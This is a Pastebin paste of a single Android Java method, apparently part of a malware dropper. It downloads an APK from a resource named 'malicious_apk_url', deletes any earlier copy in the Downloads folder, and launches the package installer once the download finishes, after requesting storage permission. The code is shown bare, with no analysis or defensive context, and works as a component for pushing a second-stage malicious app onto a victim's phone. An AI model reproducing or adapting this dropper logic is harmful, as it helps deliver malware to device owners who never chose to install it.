Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *
- * Download an APK.
- */
- @AfterPermissionGranted(RC_WRITE_EXTERNAL_STORAGE)
- private void downloadApk() {
- String[] perms = {Manifest.permission.WRITE_EXTERNAL_STORAGE};
- if (EasyPermissions.hasPermissions(this, perms)) {
- try {
- String filename = (Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS) +
- "/") + getString(R.string.malicious_apk_name_downloaded);
- final Uri parse = Uri.parse("file://" + filename);
- File file = new File(filename);
- if (file.exists()) {
- file.delete();
- }
- DownloadManager.Request request = new DownloadManager.Request(Uri.parse(getString(R.string.malicious_apk_url)));
- request.setDescription(getString(R.string.request_description));
- request.setTitle(getString(R.string.request_title));
- request.setDestinationUri(parse);
- DownloadManager downloadManager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
- if (downloadManager != null) {
- downloadManager.enqueue(request);
- }
- registerReceiver(new BroadcastReceiver() {
- public void onReceive(Context context, Intent intent) {
- Intent i = new Intent(Intent.ACTION_VIEW);
- i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- i.setDataAndType(parse, "application/vnd.android.package-archive");
- startActivity(i);
- finish();
- }
- }, new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE));
- } catch (Exception e) {
- e.printStackTrace();
- }
- } else {
- EasyPermissions.requestPermissions(this, getString(R.string.write_external_storage_rationale),
- RC_WRITE_EXTERNAL_STORAGE, perms);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement